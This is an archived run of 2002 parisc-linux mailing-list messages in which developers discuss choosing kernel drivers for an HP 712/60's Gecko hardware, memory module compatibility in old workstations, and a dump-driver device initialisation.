List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16454

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C2710B.3D2D40B0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

> -----Original Message-----
> From: Martin-=C9ric Racine [mailto:q-funk@pp.fishpool.fi]
> On Fri, 11 Oct 2002, "Beerse, Corn=E9" wrote:
>=20
> > > At this point, I apt-got kernel-source-2.4.19-hppa and=20
> > > unpacked it, and already
> > > selected the 7100LC/7300LC CPU option.  What else?  Has=20
> > > anybody compiled a FAQ
> > > on parisc-linux that provides .config files optimized for=20
> > > each PA-RISC hardware
> > > or, alternately, a checklist of hardware one finds in product=20
> > > xxx, referenced by
> > > Linux kernel feature or module name?=20
> >=20
> > Have you checked the hardware database on the website?
> > (http://www.parisc-linux.org/) That gives an overview on=20
> what whas in the
> > origional box.
>=20
> http://hwdb.parisc-linux.org/view.php3?type=3Dmachine&name=3D712%2F60
>=20
> That page could have been written in Chinese, it would have=20
> been equally clear. =20
>=20
> I guess I'm just used to PC hardware, where kernel compiling=20
> simply means "if
> you have graphics card XXX select the driver with the same=20
> name". I've yet to

Which most times results in a lot of variants for the same card (since
manufacturers update hardware without updating the type info) and lots =
of
names for stuf using the same chipset. I think it is just what you are =
used
ot. both have their pro-s and con-s.=20

> find that simplicity in HP hardware, probably because=20
> everything is done via
> custom chips that combine several functions, and it is not=20
> clear to me which
> chip does what, as every line in that page starts with Gecko.

I think this Gecko is the name of the development of the machine. I =
think
(never looked) the terms can be found in the source too (if required). =
Its
just a little more pronouncable than 9000/712/60... You're working on
workstations. If you look at servers (9000/800 range) then it is an =
even
stranger view at first sight.




CBee

------_=_NextPart_001_01C2710B.3D2D40B0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2654.45">
<TITLE>RE: [parisc-linux] hardware features of 712-60 ?</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: Martin-=C9ric Racine [<A =
HREF=3D"mailto:q-funk@pp.fishpool.fi">mailto:q-funk@pp.fishpool.fi</A>]<=
/FONT>
<BR><FONT SIZE=3D2>&gt; On Fri, 11 Oct 2002, &quot;Beerse, =
Corn=E9&quot; wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; At this point, I apt-got =
kernel-source-2.4.19-hppa and </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; unpacked it, and already</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; selected the 7100LC/7300LC CPU =
option.&nbsp; What else?&nbsp; Has </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; anybody compiled a FAQ</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; on parisc-linux that provides .config =
files optimized for </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; each PA-RISC hardware</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; or, alternately, a checklist of =
hardware one finds in product </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; xxx, referenced by</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; Linux kernel feature or module name? =
</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Have you checked the hardware database on =
the website?</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; (<A HREF=3D"http://www.parisc-linux.org/" =
TARGET=3D"_blank">http://www.parisc-linux.org/</A>) That gives an =
overview on </FONT>
<BR><FONT SIZE=3D2>&gt; what whas in the</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; origional box.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; <A =
HREF=3D"http://hwdb.parisc-linux.org/view.php3?type=3Dmachine&name=3D712=
%2F60" =
TARGET=3D"_blank">http://hwdb.parisc-linux.org/view.php3?type=3Dmachine&=
name=3D712%2F60</A></FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; That page could have been written in Chinese, =
it would have </FONT>
<BR><FONT SIZE=3D2>&gt; been equally clear.&nbsp; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; I guess I'm just used to PC hardware, where =
kernel compiling </FONT>
<BR><FONT SIZE=3D2>&gt; simply means &quot;if</FONT>
<BR><FONT SIZE=3D2>&gt; you have graphics card XXX select the driver =
with the same </FONT>
<BR><FONT SIZE=3D2>&gt; name&quot;. I've yet to</FONT>
</P>

<P><FONT SIZE=3D2>Which most times results in a lot of variants for the =
same card (since manufacturers update hardware without updating the =
type info) and lots of names for stuf using the same chipset. I think =
it is just what you are used ot. both have their pro-s and con-s. =
</FONT></P>

<P><FONT SIZE=3D2>&gt; find that simplicity in HP hardware, probably =
because </FONT>
<BR><FONT SIZE=3D2>&gt; everything is done via</FONT>
<BR><FONT SIZE=3D2>&gt; custom chips that combine several functions, =
and it is not </FONT>
<BR><FONT SIZE=3D2>&gt; clear to me which</FONT>
<BR><FONT SIZE=3D2>&gt; chip does what, as every line in that page =
starts with Gecko.</FONT>
</P>

<P><FONT SIZE=3D2>I think this Gecko is the name of the development of =
the machine. I think (never looked) the terms can be found in the =
source too (if required). Its just a little more pronouncable than =
9000/712/60... You're working on workstations. If you look at servers =
(9000/800 range) then it is an even stranger view at first =
sight.</FONT></P>
<BR>
<BR>
<BR>

<P><FONT SIZE=3D2>CBee</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C2710B.3D2D40B0--


From - Thu Nov 08 21:25:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Dump driver: ENTRY_INIT_DEV, GOT IT, it works.....
Date: Fri, 11 Oct 2002 13:10:07 +0200
Organization: H.P
Lines: 40
Approved: news@gmane.org
Message-ID: <3DA6B18F.41DD40AB@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------EFBA33A80334856730A1613E"
X-Trace: ger.gmane.org 1416621819 15574 80.91.229.3 (22 Nov 2014 02:03:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:39 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 11 05:17:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8B3E94829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Oct 2002 05:17:14 -0600 (MDT)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id BA829F2
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Oct 2002 13:17:09 +0200 (METDST)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id NAA24516 for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Oct 2002 13:15:26 +0200 (METDST)
X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.18 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16455

This is a multi-part message in MIME format.
--------------EFBA33A80334856730A1613E
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

	Hi
I'm really happy, it works at the end....the solution: 
mem_pdc_call(IODC_IO, PDC_IO_RESET_AND_CLEAR...

I've succeded to initialised the device, now next step,
read and write on this device (but I think it should be
easy). I keep you aware asap.

Many thanks to Grant Grundler.

	By

-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------EFBA33A80334856730A1613E
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------EFBA33A80334856730A1613E--



From - Thu Nov 08 21:25:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hardware features of 712-60 ?
Date: Fri, 11 Oct 2002 13:28:11 +0200
Organization: ESIEE
Lines: 43
Approved: news@gmane.org
Message-ID: <20021011132811.6e84c1d8.varenet@esiee.fr>
References: <02Oct11.113022cest.119055@ns.hiscom.nl>
	<Pine.LNX.4.21.0210111227030.24681-100000@hal.pp.fishpool.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621819 15576 80.91.229.3 (22 Nov 2014 02:03:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:39 +0000 (UTC)
Cc: q-funk@pp.fishpool.fi, parisc-linux@parisc-linux.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 11 05:28:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zigoo.net (d208.dhcp212-198-140.noos.fr [212.198.140.208])
	by dsl2.external.hp.com (Postfix) with ESMTP id 217FB4831
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Oct 2002 05:28:16 -0600 (MDT)
Original-Received: from Tatooine (Tatoine [192.168.69.3])
	by mail.zigoo.net (8.12.5/8.12.1) with SMTP id g9BBSCtT002350;
	Fri, 11 Oct 2002 13:28:12 +0200
In-Reply-To: <Pine.LNX.4.21.0210111227030.24681-100000@hal.pp.fishpool.fi>
X-Mailer: Sylpheed version 0.7.4claws (GTK+ 1.2.10; powerpc-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16456

On Fri, 11 Oct 2002 12:34:43 +0300 (EEST)
"Martin-" <q-funk@pp.fishpool.fi> wrote:

> On Fri, 11 Oct 2002, "Beerse, Corn" wrote:
> 
> > > At this point, I apt-got kernel-source-2.4.19-hppa and 
> > > unpacked it, and already
> > > selected the 7100LC/7300LC CPU option.  What else?  Has 
> > > anybody compiled a FAQ
> > > on parisc-linux that provides .config files optimized for 
> > > each PA-RISC hardware
> > > or, alternately, a checklist of hardware one finds in product 
> > > xxx, referenced by
> > > Linux kernel feature or module name? 
Well, as for any kind of 'PC' box, a quick look at lspci output, and even more at 'dmesg', will tell you everything you need to know.

> > 
> > Have you checked the hardware database on the website?
> > (http://www.parisc-linux.org/) That gives an overview on what whas in the
> > origional box.
> 
> http://hwdb.parisc-linux.org/view.php3?type=machine&name=712%2F60
> 
> That page could have been written in Chinese, it would have been equally clear.  
> if
> you have graphics card XXX select the driver with the same name". I've
> chip does what, as every line in that page starts with Gecko.
Did you notice that each chip is labelled with its driver name ?
See, the text between '()' at the end of each line ?

I wonder if we should make it bold, or maybe flashing ? :o)

A last point, subscribing to this mailing-list would be a good idea, or at least taking a look at archives. You would have then noticed that the last version of the PA-RISC/Linux Boot HOWTO has been released about 4 days ago, giving you many useful tips about kernel compiling...
http://pateam.esiee.fr/doc.html
http://lists.parisc-linux.org/pipermail/parisc-linux/

Hope that helps,


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/


From - Thu Nov 08 21:25:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Which Memory to use on a 715/80?
Date: Fri, 11 Oct 2002 13:22:04 +0100 (IST)
Lines: 49
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0210111313270.6057-100000@sal.ucc.ie>
References: <02Oct11.100511cest.119048@ns.hiscom.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=iso-8859-15
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1416621820 15581 80.91.229.3 (22 Nov 2014 02:03:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:40 +0000 (UTC)
Cc: "'Harri Haataja'" <harri.haataja@smilehouse.com>,
	"'parisc-linux maillist'" <parisc-linux@parisc-linux.org>
To: =?iso-8859-15?Q?=22Beerse=2C_Corn=E9=22?= <c.beerse@torex-hiscom.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 11 06:22:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from interzone.ucc.ie (interzone.ucc.ie [143.239.1.134])
	by dsl2.external.hp.com (Postfix) with ESMTP id AB7044829
	for <parisc-linux@parisc-linux.org>; Fri, 11 Oct 2002 06:22:16 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by interzone.ucc.ie (8.9.3/8.9.3) with ESMTP id NAA23241;
	Fri, 11 Oct 2002 13:22:23 +0100 (BST)
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <02Oct11.100511cest.119048@ns.hiscom.nl>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16457

On Fri, 11 Oct 2002, "Beerse, Corn=E9" wrote:

> > EDO AFAIK never occurs together with ECC so that's the word to avoid
> > when looking for ram for older workstations ad servers.

That's not true, there are some EDO Rams with ECC, 'though rather rare.

> > 36-bit FPM True-parity ECC SIMMs are what work in, for example, DEC
> > Alpha AXPpci, Multia, SGI Indy, Indigo=B2, matching Challenges,
> > IBM RS6000
> > 7006 and other machines of the era and most(?) pc's. No kind
> > of EDO ram
> > works.
> >
> > > I might be totaly wrong here, in those days (a former job)
> > I was using
> > > both SunSparc stations and HP 712 machines.
> >
> > Sparcstations mostly use weird rams like JEDEC DIMM's apart from the
> > very old ones that use 36-pin simm's that seem regular.
>
> Sun Sparc ELC and SunSparcClassic (and similar Sparc 4C architecture?) ca=
n
> use the same memory modules as 486-PC's. Those are NOT edo ram as in
> pentium-pc's, however they do fit... It might not be what Sun tells, it i=
s
> wat is currently running at home...

Sun SPARCstation LX/ZX also use 36bit (true parity) FP-RAM. The
ones you find in old 486 will just do fine, if they have ECC.

> > This is what I remember. No guarantees either.
>
> I've tried EDO ram in a SParc Classic but it does not show up. After a sh=
ort
> test (15 minutes power on and try to use it) I experienced no damage on b=
oth
> processorboard or memory. Then, again: no guarantees...

EDO Ram is not supported on SPARCstation classics/IPC/IPX (sun4c) and
SPARCstation LX/ZX (sun4m). You NEED FastPage mode (aka "normal", pre-EDO) =
RAM.
IMHO that's strange, since EDO RAM is supposed to be backwards compatible
IIRC. Or was this just a feature of 386/486 Motherboards?

greetings max




From - Thu Nov 08 21:25:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?Martin-=C9ric_Racine?= <q-funk@pp.fishpool.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hardware features of 712-60 ?
Date: Fri, 11 Oct 2002 15:22:14 +0300 (EEST)
Lines: 59
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0210111454200.24681-100000@hal.pp.fishpool.fi>
References: <20021011132811.6e84c1d8.varenet@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1416621820 15583 80.91.229.3 (22 Nov 2014 02:03:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:40 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 11 06:22:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hal.pp.fishpool.fi (hal.pp.fishpool.fi [195.197.229.212])
	by dsl2.external.hp.com (Postfix) with ESMTP id 68C294829
	for <parisc-linux@parisc-linux.org>; Fri, 11 Oct 2002 06:22:26 -0600 (MDT)
Original-Received: from q-funk (helo=localhost)
	by hal.pp.fishpool.fi with local-esmtp (Exim 3.35 #1 (Debian))
	id 17zyo2-0007yZ-00; Fri, 11 Oct 2002 15:22:14 +0300
In-Reply-To: <20021011132811.6e84c1d8.varenet@esiee.fr>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16458

On Fri, 11 Oct 2002, Thibaut VARENE wrote:

> > http://hwdb.parisc-linux.org/view.php3?type=3Dmachine&name=3D712%2F60
> >=20
> > That page could have been written in Chinese, it would have been equall=
y clear. =20
>
> Did you notice that each chip is labelled with its driver name ?
> See, the text between '()' at the end of each line ?
> I wonder if we should make it bold, or maybe flashing ? :o)

Right, let's run through this list and see if it's as clear as you think:

1) Gecko (712/60) (Processor) (PA7100LC (PCX-L))
2) Gecko (Memory)
3) Gecko Optional RS-232 (Foreign I/O Module) (Serial driver)
4) Gecko Optional Lan (802.3) (Foreign I/O Module) (Lasi_82596 driver)
5) Gecko Core PC Keyboard (Foreign I/O Module) (PS/2 driver)
6) Gecko Core PC Floppy (Foreign I/O Module)
7) Gecko Audio (Foreign I/O Module) (Harmony driver)
8) Gecko Core Centronics (Foreign I/O Module) (Parallel driver)
9) Gecko Core RS-232 (Foreign I/O Module) (Serial driver)
a) Gecko Core Lan (802.3) (Foreign I/O Module) (Lasi_82596 driver)
b) Gecko Core SCSI (Foreign I/O Module) (NCR53c710 driver)
c) Gecko GSC Core Graphics (Foreign I/O Module)
d) Gecko Optional BA (Bus Adapter) (Lasi driver)
e) Gecko Core BA (Bus Adapter) (Lasi driver)=20

1) CPU:  PA7100LC.  clear enough.
2) Memory:  which module?  In which dialogue?
3) Optional RS-232:  which module?  In which dialogue?
4) Optional LAN:  Lasi_Ethernet?  Anything else?
5) Keyboard:  Lasi/Dino PS2 port?  Anything else, besides PS2 mouse?
6) Floppy:  which module?  PC Floppy definitely doesn't work.
7) Sound:  Harmony.  clear enough.
8) Parallel:  which modules?  LASI/ASP builtin, or PC-style hardware too?
9) Core RS-232:  which module?  generic 8250/16550?
a) Core LAN:  Lasi_Ethernet?  Anything else?
b) SCSI:  HP LASI SCSI support for 53c700/710, or NCR53c7,8xx SCSI support =
too?
c) Graphics:  which module?  Generic STI frame buffer?
d) Optional BA:  which module?  In which dialogue?
e) Core BA:  which module?  In which dialogue?

> A last point, subscribing to this mailing-list would be a good idea, or a=
t
> least taking a look at archives. You would have then noticed that the las=
t
> version of the PA-RISC/Linux Boot HOWTO has been released about 4 days ag=
o,

Last online version on parisc-linux is dated from 2002-07-15.

--=20
Martin-=C9ric Racine, Espoo, Finland.
"Kas sa tahad mind? - Nej!!! =C4r du en idiot?!!"
http://www.pp.fishpool.fi/~q-funk/



From - Thu Nov 08 21:25:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hardware features of 712-60 ?
Date: Fri, 11 Oct 2002 14:33:12 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <20021011123312.GP16680@charite.de>
References: <20021011132811.6e84c1d8.varenet@esiee.fr> <Pine.LNX.4.21.0210111454200.24681-100000@hal.pp.fishpool.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621820 15589 80.91.229.3 (22 Nov 2014 02:03:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:40 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 11 06:33:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with SMTP id 33E654829
	for <parisc-linux@parisc-linux.org>; Fri, 11 Oct 2002 06:33:17 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP id 77E9215C011
	for <parisc-linux@parisc-linux.org>; Fri, 11 Oct 2002 14:33:13 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 6BA3A633B9; Fri, 11 Oct 2002 14:33:13 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.21.0210111454200.24681-100000@hal.pp.fishpool.fi>
User-Agent: Mutt/1.4i
X-Virus-Scanned: by AMaViS snapshot-20020531
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16459

> Right, let's run through this list and see if it's as clear as you think:
> 
> 1) Gecko (712/60) (Processor) (PA7100LC (PCX-L))
> 2) Gecko (Memory)
> 3) Gecko Optional RS-232 (Foreign I/O Module) (Serial driver)
> 4) Gecko Optional Lan (802.3) (Foreign I/O Module) (Lasi_82596 driver)
> 5) Gecko Core PC Keyboard (Foreign I/O Module) (PS/2 driver)
> 6) Gecko Core PC Floppy (Foreign I/O Module)
> 7) Gecko Audio (Foreign I/O Module) (Harmony driver)
> 8) Gecko Core Centronics (Foreign I/O Module) (Parallel driver)
> 9) Gecko Core RS-232 (Foreign I/O Module) (Serial driver)
> a) Gecko Core Lan (802.3) (Foreign I/O Module) (Lasi_82596 driver)
> b) Gecko Core SCSI (Foreign I/O Module) (NCR53c710 driver)
> c) Gecko GSC Core Graphics (Foreign I/O Module)
> d) Gecko Optional BA (Bus Adapter) (Lasi driver)
> e) Gecko Core BA (Bus Adapter) (Lasi driver) 

I have a kernel config for a 712/80 where I threw out all the crap I
didn't need and I build as much as possible as a module. Interested?

-- 
Ralf Hildebrandt (Im Auftrag des Referat V a)   Ralf.Hildebrandt@charite.de
Charite Campus Mitte                            Tel.  +49 (0)30-450 570-155
Referat V a - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
Why you can't find your system administrators:
Is out back beating a luser into corn mash who asked "When will the system be back up" one time too many. 



From - Thu Nov 08 21:25:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hardware features of 712-60 ?
Date: Fri, 11 Oct 2002 13:54:00 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <20021011135400.J18545@parcelfarce.linux.theplanet.co.uk>
